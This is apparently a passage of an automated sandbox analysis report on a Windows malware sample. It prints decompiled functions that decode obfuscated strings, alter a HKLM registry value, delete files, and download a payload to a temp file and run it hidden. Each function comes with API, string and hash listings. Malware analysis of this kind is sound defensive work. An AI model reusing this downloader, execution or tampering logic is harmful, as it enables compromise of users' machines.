				_v172 = 0x92;
				_v171 = 0x4b;
				_v170 = 0x35;
				_v169 = 0xbf;
				_t212 = 0;
				do {
					 *((char*)(_t294 + _t212 + 0x2c)) =  *((intOrPtr*)(_t294 + _t212 + 0x2c)) +  *((intOrPtr*)(_t294 + _t212 + 0x18));
					_t212 = _t212 + 1;
				} while (_t212 < 0xd);
				_push(0xff);
				_push(8);
				_push(1);
				_pop(0);
				asm("pushad");
				asm("popad");
				_v184 = 0xff;
				_v188 = 0;
				_t247 = HeapAlloc(GetProcessHeap(), ??, ??);
				RegOpenKeyExA(0x80000002, _t290, 0, 0xf003f,  &_v192);
				if(RegQueryValueExA(_v192,  &_v160, 0,  &_v188, _t247,  &_v184) == 0) {
					if(E00425320(_t247,  &_v144) == 0) {
						_t281 = _t247 - 1;
						do {
							_t233 =  *((intOrPtr*)(_t281 + 1));
							_t281 = _t281 + 1;
						} while (_t233 != 0);
						_t234 = " "; // 0x20
						 *_t281 = _t234;
						_t235 =  &_v144;
						_t278 = _t235;
						do {
							_t257 =  *_t235;
							_t235 = _t235 + 1;
						} while (_t257 != 0);
						_t236 = _t235 - _t278;
						_t283 = _t247 - 1;
						do {
							_t258 =  *(_t283 + 1);
							_t283 = _t283 + 1;
						} while (_t258 != 0);
						_t260 = _t236 >> 2;
						_t291 = _t278;
						_push(memcpy(_t283, _t291, _t260 << 2));
						memcpy(_t291 + _t260 + _t260, _t291, 0);
					}
					_t222 = _t247;
					_t196 = _t222 + 1; // 0x1
					_t276 = _t196;
					do {
						_t253 =  *_t222;
						_t222 = _t222 + 1;
					} while (_t253 != 0);
					if(RegSetValueExA(_v192,  &_v160, 0, _v188, _t247, _t222 - _t276 + 1) != 0) {
					}
					RegCloseKey(_v192);
					HeapFree(GetProcessHeap(), 0, _t247);
					return E00424873(0, _v12);
				} else {
					RegCloseKey(_v192);
					return E00424873(0, _v12);
				}
			}

0x004223a0
0x004223a6
0x004223ac
0x004223ba
0x004223be
0x004223c2
0x004223c7
0x004223cc
0x004223d0
0x004223d5
0x004223da
0x004223de
0x004223e3
0x004223e8
0x004223ed
0x004223f2
0x004223f7
0x004223fc
0x00422401
0x00422406
0x0042240b
0x00422410
0x00422415
0x0042241a
0x0042241f
0x00422424
0x00422429
0x0042242e
0x00422433
0x00422438
0x0042243d
0x00422442
0x00422447
0x0042244c
0x00422450
0x00422455
0x0042245a
0x0042245f
0x00422461
0x0042246b
0x0042246f
0x00422470
0x00422479
0x0042247d
0x00422481
0x00422485
0x0042248b
0x00422491
0x00422497
0x0042249b
0x0042249f
0x004224a5
0x004224ac
0x004224b7
0x004224bc
0x004224c1
0x004224c6
0x004224cb
0x004224cf
0x004224d4
0x004224d9
0x004224de
0x004224e3
0x004224e8
0x004224ed
0x004224f2
0x004224f7
0x004224fc
0x00422501
0x00422506
0x0042250b
0x00422510
0x00422515
0x0042251a
0x0042251f
0x00422524
0x00422529
0x0042252e
0x00422533
0x00422538
0x0042253d
0x00422542
0x00422546
0x0042254b
0x00422550
0x00422554
0x00422559
0x0042255e
0x00422563
0x00422568
0x0042256d
0x00422572
0x00422577
0x0042257f
0x00422587
0x0042258f
0x00422597
0x0042259e
0x004225a6
0x004225ae
0x004225b6
0x004225be
0x004225c6
0x004225ce
0x004225d6
0x004225dd
0x004225e4
0x004225ec
0x004225f3
0x004225fb
0x00422603
0x0042260b
0x00422613
0x0042261b
0x00422623
0x0042262d
0x00422634
0x0042263a
0x00422641
0x00422648
0x00422650
0x00422658
0x00422660
0x00422668
0x00422670
0x00422678
0x00422680
0x00422688
0x00422690
0x00422698
0x004226a0
0x004226a8
0x004226b0
0x004226b8
0x004226c0
0x004226c8
0x004226d0
0x004226d8
0x004226e0
0x004226e8
0x004226f0
0x004226f7
0x004226ff
0x00422707
0x0042270f
0x00422717
0x0042271f
0x00422727
0x0042272f
0x00422736
0x00422743
0x00422744
0x00422747
0x0042274b
0x0042274f
0x00422754
0x00422759
0x0042275d
0x00422762
0x00422767
0x0042276c
0x00422771
0x00422776
0x0042277b
0x00422780
0x00422785
0x0042278a
0x0042278f
0x00422794
0x00422799
0x0042279e
0x004227a3
0x004227a8
0x004227ad
0x004227b2
0x004227b7
0x004227bc
0x004227c1
0x004227c6
0x004227d0
0x004227da
0x004227de
0x004227df
0x004227e4
0x004227e9
0x004227eb
0x004227ed
0x004227ee
0x004227ef
0x004227f0
0x004227f8
0x0042281f
0x00422821
0x00422846
0x0042287b
0x00422880
0x00422881
0x00422881
0x00422884
0x00422885
0x00422889
0x0042288f
0x00422892
0x00422897
0x00422898
0x00422898
0x0042289a
0x0042289b
0x004228a1
0x004228a3
0x004228a4
0x004228a4
0x004228a7
0x004228a8
0x004228ae
0x004228b1
0x004228b5
0x004228ba
0x004228bc
0x004228be
0x004228bf
0x004228bf
0x004228c2
0x004228c2
0x004228c4
0x004228c5
0x004228e7
0x004228e7
0x004228f0
0x00422900
0x0042291d
0x00422848
0x0042284d
0x0042286a
0x0042286a

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00422800
HeapAlloc.KERNEL32(00000000), ref: 00422807
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,73BCF990), ref: 00422821
RegQueryValueExA.ADVAPI32(?,00000054,00000000,00000000,00000000,?), ref: 0042283E
RegCloseKey.ADVAPI32(73BCF990), ref: 0042284D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,0000005C), ref: 004228DF
RegCloseKey.ADVAPI32(?,?,0000005C), ref: 004228F0
GetProcessHeap.KERNEL32(00000000,00000000,?,0000005C), ref: 004228F9
HeapFree.KERNEL32(00000000,?,0000005C), ref: 00422900

Strings

m, xrefs: 00422501
q, xrefs: 004224F7
H, xrefs: 00422559
;, xrefs: 0042245A
{, xrefs: 004226B0
%, xrefs: 00422587
S, xrefs: 004223ED
G, xrefs: 00422415
K, xrefs: 004227B7
d, xrefs: 00422717
Z, xrefs: 00422603
8, xrefs: 004224DE
/, xrefs: 00422577
~, xrefs: 00422515
!, xrefs: 004225E4
>, xrefs: 0042275D
{, xrefs: 004227A3
R, xrefs: 0042259E
R, xrefs: 004226A0
T, xrefs: 004223C7
b, xrefs: 004225A6
Z, xrefs: 00422568
5, xrefs: 004227BC
", xrefs: 00422424
f, xrefs: 004224D4
N, xrefs: 00422401
(, xrefs: 004226C0
b, xrefs: 00422688
1, xrefs: 004226B8
K, xrefs: 004225AE
', xrefs: 00422455
), xrefs: 004223F2
Q, xrefs: 004226F7
:, xrefs: 00422707
g, xrefs: 00422572
>, xrefs: 00422670
S, xrefs: 00422794
p, xrefs: 004225BE
A, xrefs: 004224C1
j, xrefs: 00422668
E, xrefs: 00422406
s, xrefs: 00422613
v, xrefs: 0042276C
P, xrefs: 004223E3
~, xrefs: 004224E3
1, xrefs: 00422533
D, xrefs: 00422658
d, xrefs: 0042254B
&, xrefs: 00422680
], xrefs: 0042241F
\, xrefs: 004224FC
L, xrefs: 00422785
j, xrefs: 00422529
S, xrefs: 00422771

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$CloseProcessValue$AllocFreeOpenQuery
String ID: !$"$%$&$'$($)$/$1$1$5$8$:$;$>$>$A$D$E$G$H$K$K$L$N$P$Q$R$R$S$S$S$T$Z$Z$\$]$b$b$d$d$f$g$j$j$m$p$q$s$v${${$~$~
API String ID: 1874932168-1336078793
Opcode ID: 47f03f3e12ca8b97fa255110b33bb58fd945303378336e6be02b8eda5c75fd4c
Instruction ID: 8d4ec7fdcb0e1428dc6729e15cdd93eefaa3e5862b0a4b7ac5a03be3d7685b3b
Opcode Fuzzy Hash: 47f03f3e12ca8b97fa255110b33bb58fd945303378336e6be02b8eda5c75fd4c
Instruction Fuzzy Hash: DFF1D62110C7C19DD332C67C984879BBFD15BA7228F584A8DE1E84B3E3C7AA8549C767

Uniqueness

Uniqueness Score: -1.00%

Function 00413687, Relevance: 91.2, APIs: 11, Strings: 41, Instructions: 244
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413687(void* __eax, char __ebx, char _a20, char _a21, char _a22, char _a23, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a54, char _a55, char _a56, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a74, char _a75, char _a76, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a94, char _a95, char _a96, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a148, char _a216, intOrPtr _a476) {
				void* _t188;
				void* _t192;
				CHAR* _t196;
				void* _t197;
				void* _t201;
				void* _t205;
				char _t211;
				void* _t243;

				_t211 = __ebx;
				_t188 = __eax;
				do {
					 *(_t243 + _t188 + 0x94) =  *(_t243 + _t188 + 0x94) ^  *(_t243 + _t188 + 0x14);
					_t188 = _t188 + 1;
				} while (_t188 < 0x13);
				ExpandEnvironmentStringsA( &_a148,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a128 = 0x7b;
				_a129 = 0x3a;
				_a130 = 0x59;
				_a131 = 0xfe;
				_a132 = 0x78;
				_a133 = __ebx;
				_a134 = 0xb1;
				_a135 = 0x27;
				_a136 = 0x34;
				_a137 = 0xf8;
				_a138 = 0x7f;
				_a139 = 0x7a;
				_a140 = 6;
				_a141 = 0x30;
				_a142 = 0xcb;
				_a143 = 0xef;
				_a144 = 0x87;
				_a145 = 0xae;
				_a146 = 0xc9;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = __ebx;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x8b;
				_a36 = 0xeb;
				_a37 = 0xc2;
				_a38 = 0xc9;
				_t192 = 0;
				do {
					 *(_t243 + _t192 + 0x80) =  *(_t243 + _t192 + 0x80) ^  *(_t243 + _t192 + 0x14);
					_t192 = _t192 + 1;
				} while (_t192 < 0x13);
				ExpandEnvironmentStringsA( &_a128,  &_a216, 0x104);
				_t196 = DeleteFileA( &_a216);
				if(_t196 == 0) {
					MoveFileExA( &_a216, _t196, 4);
				}
				_a80 = 0x7b;
				_a81 = 0x3a;
				_a82 = 0x59;
				_a83 = 0xfe;
				_a84 = 0x78;
				_a85 = _t211;
				_a86 = 0xb1;
				_a87 = 0x27;
				_a88 = 0x34;
				_a89 = 0xf8;
				_a90 = 0x7f;
				_a91 = 0x7a;
				_a92 = 6;
				_a93 = 0x30;
				_a94 = 0xcb;
				_a95 = 0xef;
				_a96 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t211;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x95;
				_a36 = 0x87;
				_t197 = 0;
				do {
					 *(_t243 + _t197 + 0x4c) =  *(_t243 + _t197 + 0x4c) ^  *(_t243 + _t197 + 0x10);
					_t197 = _t197 + 1;
				} while (_t197 < 0x11);
				ExpandEnvironmentStringsA( &_a80,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a40 = 0x7b;
				_a41 = 0x3a;
				_a42 = 0x59;
				_a43 = 0xfe;
				_a44 = 0x78;
				_a45 = _t211;
				_a46 = 0xb1;
				_a47 = 0x27;
				_a48 = 0x34;
				_a49 = 0xf8;
				_a50 = 0x7f;
				_a51 = 0x7a;
				_a52 = 6;
				_a53 = 0x30;
				_a54 = 0xcb;
				_a55 = 0xef;
				_a56 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t211;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x9c;
				_a36 = 0x87;
				_t201 = 0;
				do {
					 *(_t243 + _t201 + 0x24) =  *(_t243 + _t201 + 0x24) ^  *(_t243 + _t201 + 0x10);
					_t201 = _t201 + 1;
				} while (_t201 < 0x11);
				ExpandEnvironmentStringsA( &_a40,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a60 = 0x7b;
				_a61 = 0x3a;
				_a62 = 0x59;
				_a63 = 0xfe;
				_a64 = 0x78;
				_a65 = _t211;
				_a66 = 0xb1;
				_a67 = 0x27;
				_a68 = 0x34;
				_a69 = 0xf8;
				_a70 = 0x7f;
				_a71 = 0x7a;
				_a72 = 6;
				_a73 = 0x30;
				_a74 = 0xcb;
				_a75 = 0xef;
				_a76 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t211;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x8c;
				_a36 = 0x87;
				_t205 = 0;
				do {
					 *(_t243 + _t205 + 0x38) =  *(_t243 + _t205 + 0x38) ^  *(_t243 + _t205 + 0x10);
					_t205 = _t205 + 1;
				} while (_t205 < 0x11);
				ExpandEnvironmentStringsA( &_a60,  &_a216, 0x104);
				return E00424873(DeleteFileA( &_a216), _a476);
			}

0x00413687
0x00413687
0x00413690
0x0041369d
0x004136a4
0x004136a5
0x004136bf
0x004136c9
0x004136cb
0x004136d3
0x004136db
0x004136e3
0x004136eb
0x004136f3
0x004136fa
0x00413702
0x0041370a
0x00413712
0x0041371a
0x00413722
0x0041372a
0x00413732
0x0041373a
0x00413742
0x0041374a
0x00413752
0x0041375a
0x00413762
0x00413767
0x0041376c
0x00413771
0x00413775
0x0041377a
0x0041377f
0x00413784
0x00413789
0x0041378e
0x00413793
0x00413798
0x0041379d
0x004137a2
0x004137a7
0x004137ac
0x004137b1
0x004137b6
0x004137bb
0x004137c0
0x004137c2
0x004137cf
0x004137d6
0x004137d7
0x004137f1
0x004137fd
0x004137ff
0x0041380c
0x0041380c
0x0041380e
0x00413813
0x00413818
0x0041381d
0x00413822
0x00413827
0x0041382b
0x00413830
0x00413835
0x0041383a
0x0041383f
0x00413844
0x00413849
0x0041384e
0x00413853
0x00413858
0x0041385d
0x00413862
0x00413867
0x0041386c
0x00413871
0x00413875
0x0041387a
0x0041387f
0x00413884
0x00413889
0x0041388e
0x00413893
0x00413898
0x0041389d
0x004138a2
0x004138a7
0x004138ac
0x004138b1
0x004138b6
0x004138c0
0x004138ca
0x004138ce
0x004138cf
0x004138e6
0x004138f0
0x004138f2
0x004138f7
0x004138fc
0x00413901
0x00413906
0x0041390b
0x0041390f
0x00413914
0x00413919
0x0041391e
0x00413923
0x00413928
0x0041392d
0x00413932
0x00413937
0x0041393c
0x00413941
0x00413946
0x0041394b
0x00413950
0x00413955
0x00413959
0x0041395e
0x00413963
0x00413968
0x0041396d
0x00413972
0x00413977
0x0041397c
0x00413981
0x00413986
0x0041398b
0x00413990
0x00413995
0x0041399a
0x004139a0
0x004139aa
0x004139ae
0x004139af
0x004139c6
0x004139d0
0x004139d2
0x004139d7
0x004139dc
0x004139e1
0x004139e6
0x004139eb
0x004139ef
0x004139f4
0x004139f9
0x004139fe
0x00413a03
0x00413a08
0x00413a0d
0x00413a12
0x00413a17
0x00413a1c
0x00413a21
0x00413a26
0x00413a2b
0x00413a30
0x00413a35
0x00413a39
0x00413a3e
0x00413a43
0x00413a48
0x00413a4d
0x00413a52
0x00413a57
0x00413a5c
0x00413a61
0x00413a66
0x00413a6b
0x00413a70
0x00413a75
0x00413a7a
0x00413a80
0x00413a8a
0x00413a8e
0x00413a8f
0x00413aa6
0x00413ac7

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

x, xrefs: 004136EB
t, xrefs: 0041389D
4, xrefs: 0041370A
:, xrefs: 004138F7
{, xrefs: 0041380E
h, xrefs: 00413A4D
Y, xrefs: 00413818
', xrefs: 00413830
^, xrefs: 00413A26
<, xrefs: 00413A39
:, xrefs: 004136D3
{, xrefs: 004138F2
4, xrefs: 00413835
z, xrefs: 00413844
z, xrefs: 00413A08
F, xrefs: 004138A2
0, xrefs: 00413932
Y, xrefs: 004136DB
:, xrefs: 004139D7
x, xrefs: 004139E6
0, xrefs: 00413A12
0, xrefs: 00413732
', xrefs: 00413914
x, xrefs: 00413906
', xrefs: 004139F4
z, xrefs: 00413722
Y, xrefs: 004139DC
z, xrefs: 00413928
{, xrefs: 004139D2
:, xrefs: 00413813
4, xrefs: 00413919
4, xrefs: 004139F9
t, xrefs: 00413A61
Y, xrefs: 004138FC
', xrefs: 00413702
{, xrefs: 004136CB
m, xrefs: 00413A2B
m, xrefs: 00413867
x, xrefs: 00413822
0, xrefs: 0041384E
F, xrefs: 00413A66

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$DeleteEnvironmentExpandStrings$Move
String ID: '$'$'$'$0$0$0$0$4$4$4$4$:$:$:$:$<$F$F$Y$Y$Y$Y$^$h$m$m$t$t$x$x$x$x$z$z$z$z${${${${
API String ID: 1654938343-3628898711
Opcode ID: fa3b79dd3c748215d0d7ea8d6bb0fc9e27b53a4a8b8c0aa284809f38cf9b5286
Instruction ID: 379cbefbaa36667b66a47918f945e3a2cad251b311df2cf7eca59fac640ebb07
Opcode Fuzzy Hash: fa3b79dd3c748215d0d7ea8d6bb0fc9e27b53a4a8b8c0aa284809f38cf9b5286
Instruction Fuzzy Hash: B1D1A91100C7C289D322D67C945878FFFD51BE7228F484F9DE1E99A2D2C6AA824DC767

Uniqueness

Uniqueness Score: -1.00%

Function 00401960, Relevance: 84.3, APIs: 15, Strings: 33, Instructions: 332
memorysleepfileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00401960() {
				intOrPtr _v8;
				char _v344;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v614;
				char _v615;
				char _v617;
				char _v618;
				char _v619;
				char _v621;
				char _v622;
				char _v623;
				char _v625;
				char _v626;
				char _v627;
				char _v629;
				char _v631;
				char _v633;
				char _v634;
				char _v635;
				char _v637;
				char _v638;
				char _v639;
				char _v641;
				char _v642;
				char _v643;
				char _v645;
				char _v646;
				char _v647;
				char _v649;
				char _v650;
				char _v651;
				char _v653;
				char _v654;
				char _v655;
				char _v657;
				char _v658;
				char _v659;
				struct _STARTUPINFOA _v680;
				char _v688;
				intOrPtr _v692;
				void* _v696;
				intOrPtr _v700;
				char _v704;
				char _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v728;
				struct _PROCESS_INFORMATION _v744;
				long _v748;
				long _v752;
				intOrPtr _v756;
				CHAR* _v760;
				void* _v764;
				intOrPtr _v776;
				intOrPtr _t150;
				CHAR* _t153;
				long _t154;
				void* _t158;
				intOrPtr _t159;
				intOrPtr _t165;
				signed char _t170;
				signed char _t171;
				signed int _t188;
				signed int _t196;
				signed char _t208;
				signed char _t224;
				intOrPtr _t247;
				void* _t248;
				signed int _t257;
				void* _t259;

				_t259 = (_t257 & 0xfffffff8) - 0x2bc;
				_t150 =  *0x4310d8; // 0xd0c2a9a8
				_v8 = _t150;
				_v680.dwXSize = 0x78;
				_v641 = 0x78;
				_v680.dwFillAttribute = 0x92;
				_v634 = 0x92;
				_v625 = 0x92;
				_v680.dwY = 0x7b;
				_v659 = 0x3a;
				_v658 = 0x59;
				_v657 = 0xfe;
				_v655 = 0xb0;
				_v654 = 0xb1;
				_v653 = 0x27;
				_v680.dwYSize = 0x34;
				_v651 = 0xf8;
				_v650 = 0x7f;
				_v649 = 0x7a;
				_v680.dwXCountChars = 6;
				_v647 = 0x30;
				_v646 = 0xcb;
				_v645 = 0xef;
				_v680.dwYCountChars = 0x87;
				_v643 = 0xae;
				_v642 = 0xc9;
				_v639 = 0x32;
				_v638 = 0xab;
				_v637 = 0x86;
				_v680.dwFlags = 0x63;
				_v635 = 0x79;
				_v633 = 0x5c;
				_v680.wShowWindow = 0x91;
				_v631 = 0xf3;
				_v680.cbReserved2 = 0xd2;
				_v629 = 0xbf;
				_v680.lpReserved2 = 0xb5;
				_v627 = 0x53;
				_v626 = 0xa2;
				_v680.hStdInput = 0x76;
				_v623 = 0x85;
				_v622 = 0xd9;
				_v621 = 4;
				_v680.hStdOutput = 0x41;
				_v619 = 0x85;
				_v618 = 0x70;
				_v617 = 0x49;
				_v680.hStdError = 0xf6;
				_v615 = 0x7d;
				_v614 = 0xd2;
				_v612 = 0x13;
				_v611 = 0x4e;
				_v610 = 0x2d;
				_v609 = 0x8e;
				_v608 = 0x42;
				_v607 = 0x9f;
				_v606 = 0x9e;
				_v605 = 0x50;
				_v604 = 0x43;
				_v603 = 0x8f;
				_v602 = 0x4b;
				_v601 = 0x54;
				_v600 = 0x65;
				_v599 = 0x55;
				_v598 = 0xaf;
				_v597 = 0x8a;
				_v596 = 0xf4;
				_v595 = 0xdb;
				_v594 = 0xa7;
				_v593 = 0x12;
				_v592 = 0xf7;
				_v591 = 0x40;
				_v590 = 0xc2;
				_v589 = 0xe8;
				_v566 = 0xd2;
				_v588 = 8;
				_v587 = 0x18;
				_v586 = 0xe1;
				_v585 = 0x72;
				_v584 = 0xf2;
				_v583 = 0x9c;
				_v582 = 0xbf;
				_v581 = 0x90;
				_v580 = 0xd6;
				_v579 = 0x3b;
				_v578 = 0xd0;
				_v577 = 0xbd;
				_v576 = 1;
				_v575 = 0xf1;
				_v574 = 0xbb;
				_v573 = 0x2b;
				_v572 = 0x2d;
				_v571 = 0xf1;
				_v570 = 0x5e;
				_v569 = 0x2c;
				_v568 = 0x8e;
				_v567 = 0x18;
				_t153 = 0;
				do {
					 *(_t259 + _t153 + 0x38) =  *(_t259 + _t153 + 0x38) ^  *(_t259 + _t153 + 0x68);
					_t153 = _t153 + 1;
				} while (_t153 < 0x2f);
				_v692 = 1;
				_t154 = E004016F0();
				if(_t154 != 0) {
					L23:
					return E00424873(0, _v8);
				} else {
					_t158 = HeapAlloc(GetProcessHeap(), _t154, 0x80000);
					_v696 = _t158;
					if(_t158 != 0) {
						_t159 = 0;
						_t208 = 0x32;
						_v700 = 0;
						while(_t159 < 0x20) {
							if(_t159 != 0) {
								Sleep(0x493e0);
							}
							_push(0);
							_push( &_v704);
							_v704 = 7;
							_t208 = _t208 + 0x2c;
							while( *0x431ef8() == 0) {
								Sleep(0x3e8);
								_push(0);
								_push( &_v712);
								_v712 = 7;
								_t208 = _t208 + 0x2c;
							}
							_t247 =  *0x431efc(0x42e292, 1, 0, 0, 0);
							_v716 = _t247;
							if(_t247 != 0) {
								_t165 =  *0x431f00(_t247,  &_v688, 0, 0, 0, 0);
								_v756 = _t165;
								if(_t165 != 0) {
									_push( &(_v744.dwProcessId));
									_push(0x80000);
									_push(_v748);
									_push(_t165);
									 *0x431c81 = 0xb7;
									if( *0x431f04() != 0) {
										GetTempPathA(0x104,  &_v344);
										GetTempFileNameA( &_v344, 0x42e290, 0,  &_v608);
										_t170 =  *0x431c81; // 0x0
										_t171 = _t170 | 0x00000082;
										 *0x431c81 = _t171;
										_t248 = CreateFileA( &_v608, 0x40000000, 0, 0, 2, 0, 0);
										 *0x431c81 = 0x76;
										WriteFile(_t248, _v764, _v752,  &_v748, 0);
										_t224 =  *0x431c81; // 0x0
										 *0x431c81 = _t224 | _t171 ^ 0x00000011 | 0x00000039;
										CloseHandle(_t248);
										memset( &_v680, 0, 0x11 << 2);
										_t259 = _t259 + 0xc;
										_v680.cb = 0x44;
										_v680.wShowWindow = 0;
										if(CreateProcessA(0,  &_v608, 0, 0, 0, 0, 0, 0,  &_v680,  &_v744) == 0) {
											DeleteFileA( &_v608);
										} else {
											CloseHandle(_v744.hThread);
											 *0x431c81 =  *0x431c81 | 0x00000058;
											CloseHandle(_v744);
											_t188 =  *0x431c81; // 0x0
											_v760 = 0;
											 *0x431c81 = (_t188 * 0x000000e4 | 0x0000003d) ^ 0x0000009c;
											E00401830();
										}
										 *0x431c81 = 0x76;
										 *0x431f08(_v756);
										 *0x431f08(_v776);
										_t208 = 0x76;
										 *0x431c81 = 0xf7;
									} else {
										 *0x431f08(_t247);
										 *0x431c81 = 0xb7;
										_t208 = 0xa6;
										 *0x431f08(_v776);
									}
								} else {
									_t196 =  *0x431c81; // 0x0
									 *0x431c81 = _t196 * 0xf7;
									_t208 = 0x51;
									 *0x431f08(_t247);
								}
							}
							_v728 = _v728 + 1;
							if(_v720 != 0) {
								_t159 = _v728;
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v696);
						goto L23;
					} else {
						return E00424873(1, _v8);
					}
				}
			}

0x00401966
0x0040196c
0x00401973
0x0040197d
0x00401981
0x00401985
0x00401989
0x0040198f
0x00401999
0x0040199e
0x004019a3
0x004019a8
0x004019ad
0x004019b2
0x004019b7
0x004019bc
0x004019c1
0x004019c6
0x004019cb
0x004019d0
0x004019d5
0x004019da
0x004019df
0x004019e4
0x004019e9
0x004019ee
0x004019f3
0x004019f8
0x004019fd
0x00401a02
0x00401a07
0x00401a0c
0x00401a11
0x00401a16
0x00401a1b
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3c
0x00401a41
0x00401a46
0x00401a4b
0x00401a4f
0x00401a54
0x00401a59
0x00401a5e
0x00401a63
0x00401a67
0x00401a6c
0x00401a71
0x00401a76
0x00401a7a
0x00401a7f
0x00401a84
0x00401a89
0x00401a8e
0x00401a93
0x00401a98
0x00401a9d
0x00401aa2
0x00401aa7
0x00401aac
0x00401ab1
0x00401ab6
0x00401abb
0x00401ac0
0x00401ac5
0x00401aca
0x00401acf
0x00401ad4
0x00401ad9
0x00401ae2
0x00401ae9
0x00401af1
0x00401af8
0x00401b00
0x00401b08
0x00401b10
0x00401b18
0x00401b20
0x00401b28
0x00401b30
0x00401b38
0x00401b40
0x00401b48
0x00401b50
0x00401b57
0x00401b5f
0x00401b67
0x00401b6f
0x00401b76
0x00401b7e
0x00401b86
0x00401b8d
0x00401b94
0x00401b96
0x00401ba0
0x00401ba4
0x00401ba5
0x00401baa
0x00401bb2
